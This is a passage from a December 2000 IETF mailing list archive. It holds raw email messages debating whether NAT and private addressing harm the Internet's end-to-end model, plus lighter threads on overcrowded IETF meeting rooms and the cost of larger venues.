18:10:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA22300 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 18:10:03 -0500 (EST) Received: from ce-nfs-1.cisco.com (ce-nfs-1.cisco.com [171.68.202.251]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA28111 for ; Fri, 15 Dec 2000 16:48:52 -0500 (EST) Received: from glock (dhcp-161-44-19-50.cisco.com [161.44.19.50]) by ce-nfs-1.cisco.com (8.8.8+Sun/8.8.8) with SMTP id NAA26196; Fri, 15 Dec 2000 13:47:03 -0800 (PST) Message-ID: <026101c066e0$8f08a5f0$32132ca1@glock> From: "Stephen Sprunk" To: "Keith Moore" Cc: , References: <200012151724.MAA07942@astro.cs.utk.edu> Subject: Re: NATs *ARE* evil! Date: Fri, 15 Dec 2000 13:35:13 -0600 Organization: Cisco Systems, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Thus spake "Keith Moore" > > What's the problem with locally significant addresses? Having thousands of > > 10 networks will never present a problem unless those networks at some point > > would like to talk to each other. > > right. if net 10 networks stay completely isolated from one another, > then there's no problem. the problem only exists when people want to > tie those networks together. but it's inevitable that the vast majority > of private networks *will* want to communicate with the public Internet > in ways that NAT does not facilitate. In my experience, the addressing problem hasn't even been with people trying to communicate across the Internet... It's private corporate connections. Imagine there are n companies using 10/8. Now, each of these n companies wants to talk (privately) with the other n-1 companies. Since each company uses the same addresses, they must put a pair of NAT devices facing each other at each boundary, resulting in 2n(n-1) NATs (more for redundancy). Also, since each company must see non-10/8 addresses for each of its n-1 peers, you will need locally-unique blocks of address space for each NAT-NAT link. Now, this address space can be private, requiring extensive coordination between all n companies on who can use what where, or it can be public, requiring n(n-1) blocks of space from ARIN/RIPE/APNIC. When n was small, NAT was feasible. At today's value for n, it is conceivable that we may consume fewer address blocks without NAT. > Keith S | | Stephen Sprunk, K5SSS, CCIE #3723 :|: :|: Network Design Consultant, GSOLE :|||: :|||: New office: RCDN2 in Richardson, TX .:|||||||:..:|||||||:. Email: ssprunk@cisco.com From owner-ietf-outbound Fri Dec 15 18:20:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA24014 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 18:20:03 -0500 (EST) Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA18199 for ; Fri, 15 Dec 2000 17:50:25 -0500 (EST) Received: (from jnc@localhost) by ginger.lcs.mit.edu (8.9.1/8.9.1) id RAA15146; Fri, 15 Dec 2000 17:50:06 -0500 Date: Fri, 15 Dec 2000 17:50:06 -0500 From: "J. Noel Chiappa" Message-Id: <200012152250.RAA15146@ginger.lcs.mit.edu> To: ietf@ietf.org, prasad@watson.ibm.com Subject: Re: Nimrod is still ugly - was: NATs *ARE* evil! Cc: jnc@ginger.lcs.mit.edu X-Loop: ietf@ietf.org > From: v guruprasad > One basic reason Nimrod is still ugly is that it leaves us to deal with > real addresses. If you find a way to select paths in real networks using only virtual data, we'd all be interested to hear it. Noel PS: The issues of i) globally/locally unique addresses (i.e. NAT), and ii) separation of location and identity, have nothing to do with the selection of paths. So why you think there's some reason to drag in a scheme that is purely about path selection is completely beyond me. From owner-ietf-outbound Fri Dec 15 18:30:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA26435 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 18:30:03 -0500 (EST) Received: from web9106.mail.yahoo.com (web9106.mail.yahoo.com [216.136.128.243]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA22667 for ; Fri, 15 Dec 2000 18:12:43 -0500 (EST) Message-ID: <20001215231245.67725.qmail@web9106.mail.yahoo.com> Received: from [216.79.62.80] by web9106.mail.yahoo.com; Fri, 15 Dec 2000 15:12:45 PST Date: Fri, 15 Dec 2000 15:12:45 -0800 (PST) From: Kevin Farley Reply-To: sixdrift@yahoo.com Subject: Re: NATs *ARE* evil! To: Keith Moore , Dave Robinson Cc: Keith Moore , M Dev , Sean Doran , ietf@ietf.org, iab@iab.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org > > How does the idea of NAT destroy the global Internet address space? > > because in a NATted network the same addresses are used in different > parts of the network. addresses are meaningless. So what? Why is this the big problem? __________________________________________________ Do You Yahoo!? Yahoo! Photos - 35mm Quality Prints, Now Get 15 Free! http://photos.yahoo.com/ From owner-ietf-outbound Fri Dec 15 19:10:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA08806 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 19:10:04 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA06211 for ; Fri, 15 Dec 2000 19:01:34 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id QAA11289; Fri, 15 Dec 2000 16:01:07 -0800 (PST) Message-Id: <5.0.2.1.2.20001215122540.03b25ec0@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 15 Dec 2000 12:26:13 -0800 To: "Scott Brim" From: Fred Baker Subject: Re: Congestion control Cc: Dave Crocker , ietf@ietf.org In-Reply-To: <14906.16276.560775.293043@localhost.localdomain> References: <5.0.1.4.2.20001214172853.0340aec0@joy.songbird.com> <5.0.1.4.2.20001214140435.043ba3f0@mail.bayarea.net> <5.0.1.4.2.20001214172853.0340aec0@joy.songbird.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 07:58 AM 12/15/00 -0800, Scott Brim wrote: >So, throwing bandwidth at the problem is quite cost-effective in about >85% of the cases, and congestion control is most useful at aggregation >points, say where enterprise networks meet regional networks. It would >seem then, that we should solve the meeting room congestion by getting >really big rooms, and control access to the halls? It is possible to avoid congestion entirely. Use beaches. There may be other problems :^) From owner-ietf-outbound Fri Dec 15 19:20:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA11736 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 19:20:03 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA06361 for ; Fri, 15 Dec 2000 19:02:03 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id QAA11281; Fri, 15 Dec 2000 16:01:06 -0800 (PST) Message-Id: <5.0.2.1.2.20001215122153.03258be0@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 15 Dec 2000 12:24:25 -0800 To: Jelena Mirkovic From: Fred Baker Subject: Re: Congestion control Cc: Scott Brim , ietf@ietf.org In-Reply-To: References: <14905.24219.694732.170219@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 04:57 PM 12/14/00 -0800, Jelena Mirkovic wrote: >Would it not be a nice idea to simply find a hotel with enough number >of big rooms so that everyone who wants can fit in? I don't know if you are aware of it, but there is a very simple algorithm for determining what the "conference hotel" will be for any given meeting. Ask what city it is in, and find out what the largest hotel is. We are already going to the largest places we can find short of going to conference centers; in some cases, we are already using conference centers. I have asked the Secretariat to advise me, quantitatively, of the implications of making that leap. I can tell you up front that it has implications for either the meeting fee or the corporate sponsorship. From owner-ietf-outbound Fri Dec 15 20:00:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA24805 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 20:00:04 -0500 (EST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA24471 for ; Fri, 15 Dec 2000 19:59:00 -0500 (EST) Received: (from sob@localhost) by newdev.harvard.edu (8.9.3/8.9.3) id TAA06452 for ietf@ietf.org; Fri, 15 Dec 2000 19:59:00 -0500 (EST) Date: Fri, 15 Dec 2000 19:59:00 -0500 (EST) From: Scott Bradner Message-Id: <200012160059.TAA06452@newdev.harvard.edu> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! X-Loop: ietf@ietf.org I will admit to some level of confusion the subject line of this thread is "NATs *ARE* evil!" yet most of the discussion is about the use of private addresses - something that a whole lot of firewalls also do - howcum the subject line is not "NATs & Firewalls are evil!" or "use of private addresses is evil!"? this focus on NATs seems to be an incomplete statement of the problem Scott From owner-ietf-outbound Fri Dec 15 20:10:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA27952 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 20:10:02 -0500 (EST) Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA24520 for ; Fri, 15 Dec 2000 19:59:09 -0500 (EST) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id TAA00973 for ; Fri, 15 Dec 2000 19:59:10 -0500 (EST) Sender: hgs@cs.columbia.edu Message-ID: <3A3ABE5E.9CB49D15@cs.columbia.edu> Date: Fri, 15 Dec 2000 19:59:10 -0500 From: "Henning G. Schulzrinne" Organization: Dept. of Computer Science, Columbia University X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 CC: ietf@ietf.org Subject: Re: Congestion control References: <14905.24219.694732.170219@localhost.localdomain> <5.0.2.1.2.20001215122153.03258be0@flipper.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit In case the IETF is truly desperate: We could also rent out a major university during the summer and stick everybody in dorm rooms - that should be enough to discourage the tourists and evoke the roots of the Internet :-) I'm sure OSU has classroom space for a few ten thousand students... Then, there's always the Scout Jamboree option: build an Internet tent city. I'd imagine Burning Man has more attendees than the IETF and it seems to draw some of the same crowd. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs From owner-ietf-outbound Fri Dec 15 20:20:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA01268 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 20:20:04 -0500 (EST) Received: from enso.acheron.indranet.co.nz (210-54-239-210.ipnets.xtra.co.nz [210.54.239.210]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27346 for ; Fri, 15 Dec 2000 20:08:10 -0500 (EST) Received: (from john@localhost) by enso.acheron.indranet.co.nz (8.9.3/8.9.3) id OAA11892; Sat, 16 Dec 2000 14:08:06 +1300 X-Authentication-Warning: enso.acheron.indranet.co.nz: john set sender to john@indranet.co.nz using -f To: Fred Baker Cc: ietf@ietf.org Subject: Re: Congestion control References: <14905.24219.694732.170219@localhost.localdomain> <5.0.2.1.2.20001215122153.03258be0@flipper.cisco.com> X-Face: <3gSGFih'_qo>Rvw%PqV{+z{|#*vuo#CvHdC;Kqd[=]jR}|G1%-@:h<[:sH+[*JmZ/e+]o )U|J7atpc._&6lG.E`kx)@zVM9l'yo3J[~~Lh&V_SO+%52KX0?TTwZ mx%BrD$VykE;%i9}p|-@ From: John Collis Date: 15 Dec 2000 17:06:57 -0800 In-Reply-To: Fred Baker's message of "Fri, 15 Dec 2000 12:24:25 -0800" Message-ID: Lines: 26 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Channel Islands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org Fred Baker writes: > I don't know if you are aware of it, but there is a very simple > algorithm for determining what the "conference hotel" will be for any > given meeting. Ask what city it is in, and find out what the largest > hotel is. > > > We are already going to the largest places we can find short of going to > conference centers; in some cases, we are already using conference > centers. I have asked the Secretariat to advise me, quantitatively, of > the implications of making that leap. I can tell you up front that it > has implications for either the meeting fee or the corporate > sponsorship. > IMO that is becoming obvious and although some people will hate the idea, I think the latter option is probably the only realistic one. We still need to make it reasonably easy enough for anyone to attend. Therefore we can't afford to blowout the cost of coming to an IETF so that only those individuals working for companies with deep enough pockets can attend. Cheers, -- John Collis IndraNet Technologies Ltd. Email: john@indranet.co.nz From owner-ietf-outbound Fri Dec 15 20:40:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA09371 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 20:40:02 -0500 (EST) Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA29128 for ; Fri, 15 Dec 2000 20:13:26 -0500 (EST) Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26]) by mail-green.research.att.com (Postfix) with ESMTP id 1B14C1E010; Fri, 15 Dec 2000 20:13:24 -0500 (EST) Received: from windsor.research.att.com (windsor.research.att.com [135.207.26.46]) by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id UAA25993; Fri, 15 Dec 2000 20:13:23 -0500 (EST) From: Bill Fenner Received: (from fenner@localhost) by windsor.research.att.com (8.8.8+Sun/8.8.5) id RAA07428; Fri, 15 Dec 2000 17:13:22 -0800 (PST) Message-Id: <200012160113.RAA07428@windsor.research.att.com> MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII To: bjarvis@internap.com Subject: Re: Agenda suggestions Cc: ietf@ietf.org Date: Fri, 15 Dec 2000 17:13:22 -0800 Versions: dmail (solaris) 2.2g/makemail 2.9a X-Loop: ietf@ietf.org For an alternate rendering of the agenda, see http://www.aciri.org/fenner/0mtg-agenda.html Bill From owner-ietf-outbound Fri Dec 15 20:50:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA12527 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 20:50:04 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA01516 for ; Fri, 15 Dec 2000 20:20:47 -0500 (EST) Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id RAA19975; Fri, 15 Dec 2000 17:19:51 -0800 (PST) Received: from mailman.cisco.com (localhost [127.0.0.1]) by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id eBG1K2g00736; Fri, 15 Dec 2000 17:20:02 -0800 (PST) Received: from bigger-dawgs.cisco.com (sj-dial-4-110.cisco.com [171.68.181.239]) by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id RAA19490; Fri, 15 Dec 2000 17:19:45 -0800 (PST) Message-Id: <4.3.2.7.2.20001215171828.00a98860@lint.cisco.com> X-Sender: pferguso@lint.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 15 Dec 2000 17:19:44 -0800 To: Scott Bradner From: Paul Ferguson Subject: Re: NATs *ARE* evil! Cc: ietf@ietf.org In-Reply-To: <200012160059.TAA06452@newdev.harvard.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Loop: ietf@ietf.org I find it amazing (well, probably not so amazing) that we are re-hashing this every few years. It looks like NAT's are a fact of life, and we just need to figure out how to deal with them. - paul At 07:59 PM 12/15/2000 -0500, Scott Bradner wrote: >I will admit to some level of confusion >the subject line of this thread is "NATs *ARE* evil!" yet most of the >discussion is about the use of private addresses - something that >a whole lot of firewalls also do - howcum the subject line is >not "NATs & Firewalls are evil!" or "use of private addresses is evil!"? > >this focus on NATs seems to be an incomplete statement of the problem From owner-ietf-outbound Fri Dec 15 21:00:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA16015 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 21:00:03 -0500 (EST) Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA11883 for ; Fri, 15 Dec 2000 20:47:59 -0500 (EST) Received: from grubby.research.bell-labs.com ([135.104.2.9]) by dirty; Fri Dec 15 20:47:59 EST 2000 Received: from mail1.pa.bell-labs.com ([135.250.8.11]) by grubby; Fri Dec 15 20:47:58 EST 2000 Received: from research.bell-labs.com (dhcp-6-173.pa.bell-labs.com [135.250.6.173]) by mail1.pa.bell-labs.com (Mirapoint) with ESMTP id AAW23329 (AUTH gja); Fri, 15 Dec 2000 17:47:56 -0800 (PST) Message-ID: <3A3AC995.817CD2F7@research.bell-labs.com> Date: Fri, 15 Dec 2000 17:47:01 -0800 From: Grenville Armitage Organization: Bell Laboratories, Lucent Technologies X-Mailer: Mozilla 4.7 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf@ietf.org Subject: Re: Congestion control References: <14905.24219.694732.170219@localhost.localdomain> <5.0.2.1.2.20001215122153.03258be0@flipper.cisco.com> <3A3ABE5E.9CB49D15@cs.columbia.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit "Henning G. Schulzrinne" wrote: > > In case the IETF is truly desperate: We could also rent out a major > university during the summer and stick everybody in dorm rooms - that > should be enough to discourage the tourists and evoke the roots of the > Internet :-) Many a true word is said in jest.... cheers, gja From owner-ietf-outbound Fri Dec 15 21:30:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA24339 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 21:30:03 -0500 (EST) Received: from solidum.com (wirespeed.solidum.com [207.35.224.226]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA22360 for ; Fri, 15 Dec 2000 21:22:11 -0500 (EST) Received: from research.solidum.com (phobos.solidum.com [192.168.1.13]) by solidum.com (8.8.7/8.8.7) with ESMTP id VAA04110 for ; Fri, 15 Dec 2000 21:22:13 -0500 Received: from phobos.solidum.com (localhost [127.0.0.1]) by research.solidum.com (8.11.0/8.11.0) with ESMTP id eBG2M7g09262 for ; Fri, 15 Dec 2000 21:22:08 -0500 (EST) Message-Id: <200012160222.eBG2M7g09262@research.solidum.com> To: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-Reply-To: Your message of "Fri, 15 Dec 2000 19:59:00 EST." <200012160059.TAA06452@newdev.harvard.edu> Mime-Version: 1.0 (generated by tm-edit 1.5) Content-Type: text/plain; charset=US-ASCII Date: Fri, 15 Dec 2000 21:22:07 -0500 From: Michael Richardson X-Loop: ietf@ietf.org >>>>> "Scott" == Scott Bradner writes: Scott> the use of private addresses - something that a whole lot of Scott> firewalls also do - howcum the subject line is not "NATs & Scott> Firewalls are evil!" or "use of private addresses is evil!"? Not all firewalls do NAT. Firewalls that do NATs are included in the definition of NAT/NAPT. Some application firewalls exist that don't change the addresses at all. They still mess up the end-to-end nature of the internet, but that's their stated purpose. :!mcr!: | Solidum Systems Corporation, http://www.solidum.com Michael Richardson |For a better connected world,where data flows faster Personal: http://www.sandelman.ottawa.on.ca/People/Michael_Richardson/Bio.html mailto:mcr@sandelman.ottawa.on.ca mailto:mcr@solidum.com From owner-ietf-outbound Fri Dec 15 21:50:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA02245 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 21:50:03 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA29741 for ; Fri, 15 Dec 2000 21:42:05 -0500 (EST) Received: from dcrocker.dcrocker.net (node-64-145-172-82.dslspeed.zyan.com [64.145.172.82]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id SAA31644; Fri, 15 Dec 2000 18:42:05 -0800 Message-Id: <5.0.1.4.2.20001215183540.041a81f0@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Fri, 15 Dec 2000 18:42:16 -0800 To: Fred Baker From: Dave Crocker Subject: Re: Congestion control Cc: ietf@ietf.org In-Reply-To: <5.0.2.1.2.20001215122153.03258be0@flipper.cisco.com> References: <14905.24219.694732.170219@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 12:24 PM 12/15/00 -0800, Fred Baker wrote: >I have asked the Secretariat to advise me, quantitatively, of the >implications of making that leap. I can tell you up front that it has >implications for either the meeting fee or the corporate sponsorship. And that impact is precisely why I phrased my suggestion as a question. On the other hand, we are growing, so that impact will be felt at some point, no matter what. The congestion problem hits us regularly, so it seems worth looking for some sort of basic change to eliminate it. I do not believe that better "planning" is really feasible; too many variables the planners cannot predict or control. I also do not believe that restricted attendance or other draconian administrative practises are appropriate; they would dramatically alter the nature and dynamic of our communal get togethers. More space is entirely practical, except for the open question of cost. But since growth ensures we encounter the problem eventually, let's gain the upside from it sooner rather than later. d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Fri Dec 15 22:10:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA07989 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 22:10:03 -0500 (EST) Received: from webterminator24.crystaltech.com (webterminator24.crystaltech.com [207.254.115.25]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA07608 for ; Fri, 15 Dec 2000 22:08:29 -0500 (EST) Received: from workhorse [63.14.196.95] by webterminator24.crystaltech.com (SMTPD32-6.05) id AD633D1003A; Fri, 15 Dec 2000 20:11:31 -0700 Reply-To: From: "Pan Jung" To: "'Iliff, Tina'" Cc: , Subject: RE: NATs *ARE* evil! Date: Fri, 15 Dec 2000 19:39:43 -0700 Message-ID: <000801c06709$735fd200$5fc40e3f@mshome.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <492EB4A3F68CD411ABE800508B69362E14B43E@RIPEXCH002.wcomnet.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit How about this, practicality. Let's say we can kill all NAT's by sunset, Sunday. Who can make stop all the NAT's poping up Monday morning? They might be up all night building experimental network, with red eyes? Pan Jung -----Original Message----- From: Iliff, Tina [mailto:Tina.Iliff@WCOM.Com] Sent: Friday, December 15, 2000 10:48 AM To: 'Dave Robinson'; Keith Moore Cc: M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: RE: NATs *ARE* evil! Yes! TCP breaks due to the fact that "true" source/destination sockets cannot be defined. The destination would not know where to send a response except in the case where DNS is used...unless I need to do more reading Tina Iliff -----Original Message----- From: Dave Robinson [mailto:drobinson@endtoend.com] Sent: Friday, December 15, 2000 11:11 AM To: Keith Moore Cc: M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: RE: NATs *ARE* evil! What's the problem with locally significant addresses? Having thousands of 10 networks will never present a problem unless those networks at some point would like to talk to each other. Is that where this whole discussion is going (or coming from) - that ultimately the more NAT'ing we do, the more headaches we're creating for ourselves en route to true global connectivity? Dave -----Original Message----- From: Keith Moore [mailto:moore@cs.utk.edu] Sent: Friday, December 15, 2000 10:56 AM To: Dave Robinson Cc: Keith Moore; M Dev; Sean Doran; ietf@ietf.org; iab@iab.org Subject: Re: NATs *ARE* evil! because in a NATted network the same addresses are used in different parts of the network. addresses are meaningless. From owner-ietf-outbound Fri Dec 15 22:20:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA11125 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 22:20:04 -0500 (EST) Received: from lox.sandelman.ottawa.on.ca (lox.sandelman.ottawa.on.ca [209.151.24.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA07732 for ; Fri, 15 Dec 2000 22:09:03 -0500 (EST) Received: from nox.sandelman.ottawa.on.ca (nox.sandelman.ottawa.on.ca [209.151.24.6]) by lox.sandelman.ottawa.on.ca (8.8.7/8.8.8) with ESMTP id WAA15049 for ; Fri, 15 Dec 2000 22:09:06 -0500 (EST) Received: from sandelman.ottawa.on.ca ([2002:401a:9bfe:3:2a0:24ff:feac:5c52]) by nox.sandelman.ottawa.on.ca (8.11.0/8.11.0) with ESMTP id eBEHK7k09665 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK) for ; Thu, 14 Dec 2000 09:20:08 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by sandelman.ottawa.on.ca (8.11.0/8.11.0) with ESMTP id eBEHC1t12204 for ; Thu, 14 Dec 2000 12:12:01 -0500 (EST) Message-Id: <200012141712.eBEHC1t12204@sandelman.ottawa.on.ca> To: ietf@ietf.org Subject: Re: guidance (re: social event politeness) In-reply-to: Your message of "Wed, 13 Dec 2000 19:39:34 PST." Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: Thu, 14 Dec 2000 12:12:01 -0500 From: Michael Richardson X-Loop: ietf@ietf.org >>>>> "Joel" == Joel Jaeggli writes: Joel> I've recieved 3 dozen or so responses from people on the mailing Joel> list who have automated vacation scripts. Please if you must use a Joel> vaction script on your mail either unsubscribe from the mailing Joel> list while you're gone, use procmail to filter your lists so they Most of these people how no choice to use more intelligent systems. The best that they can do is to not use the vacation system. Their mailer systems are not rfc1123 compliant --- they use the From: address for "errors", not the From_ address. Their vacation programs can not ignore "Precedence:" headers, etc. They all use the same mail systems, btw. ] Train travel features AC outlets with no take-off restrictions|gigabit is no[ ] Michael Richardson, Solidum Systems Oh where, oh where has|problem with[ ] mcr@solidum.com www.solidum.com the little fishy gone?|PAX.port 1100[ ] panic("Just another NetBSD/notebook using, kernel hacking, security guy"); [ From owner-ietf-outbound Fri Dec 15 22:32:09 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA14317 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 22:30:03 -0500 (EST) Received: from lox.sandelman.ottawa.on.ca (lox.sandelman.ottawa.on.ca [209.151.24.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA07734 for ; Fri, 15 Dec 2000 22:09:04 -0500 (EST) Received: from nox.sandelman.ottawa.on.ca (nox.sandelman.ottawa.on.ca [209.151.24.6]) by lox.sandelman.ottawa.on.ca (8.8.7/8.8.8) with ESMTP id WAA15058 for ; Fri, 15 Dec 2000 22:09:07 -0500 (EST) Received: from sandelman.ottawa.on.ca ([2002:401a:9bfe:3:2a0:24ff:feac:5c52]) by nox.sandelman.ottawa.on.ca (8.11.0/8.11.0) with ESMTP id eBEHgUk09678 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK) for ; Thu, 14 Dec 2000 09:42:31 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by sandelman.ottawa.on.ca (8.11.0/8.11.0) with ESMTP id eBEHYOt12610 for ; Thu, 14 Dec 2000 12:34:24 -0500 (EST) Message-Id: <200012141734.eBEHYOt12610@sandelman.ottawa.on.ca> From: mcr@solidum.com To: ietf@ietf.org Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Thu, 14 Dec 2000 13:46:51 GMT." <3963.976801611@cs.ucl.ac.uk> Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: Thu, 14 Dec 2000 12:34:24 -0500 Sender: mcr@sandelman.ottawa.on.ca X-Loop: ietf@ietf.org >>>>> "Jon" == Jon Crowcroft writes: Jon> note that a major problem with the little wortk that is done is that Jon> its not often done in realistic topologies - this is a problem with Jon> ISPs who wont let people get at the data (or the traffic traces) so Jon> with a few honourable exceptions, most the smart people trying to do Jon> new stuff go on to other areas where there aren;t intractable Jon> barriers to doig the experimental verficaition of the idea This is even a problem for most non-major vendors. Both at the BGP layer and at the forwarding layer. I've even heard that some people at major's can't get at that info because of inter-divisional politics. CAIDA has produced lots of interesting data though. The problem for vendors is finding enough to time to read it. If someone knows of a grad school that has money to do BGP research :-) ] Train travel features AC outlets with no take-off restrictions|gigabit is no[ ] Michael Richardson, Solidum Systems Oh where, oh where has|problem with[ ] mcr@solidum.com www.solidum.com the little fishy gone?|PAX.port 1100[ ] panic("Just another NetBSD/notebook using, kernel hacking, security guy"); [ From owner-ietf-outbound Fri Dec 15 22:50:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA22640 for ietf-outbound.10@ietf.org; Fri, 15 Dec 2000 22:50:04 -0500 (EST) Received: from lox.sandelman.ottawa.on.ca (lox.sandelman.ottawa.on.ca [209.151.24.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA08123 for ; Fri, 15 Dec 2000 22:10:24 -0500 (EST) Received: from nox.sandelman.ottawa.on.ca (nox.sandelman.ottawa.on.ca [209.151.24.6]) by lox.sandelman.ottawa.on.ca 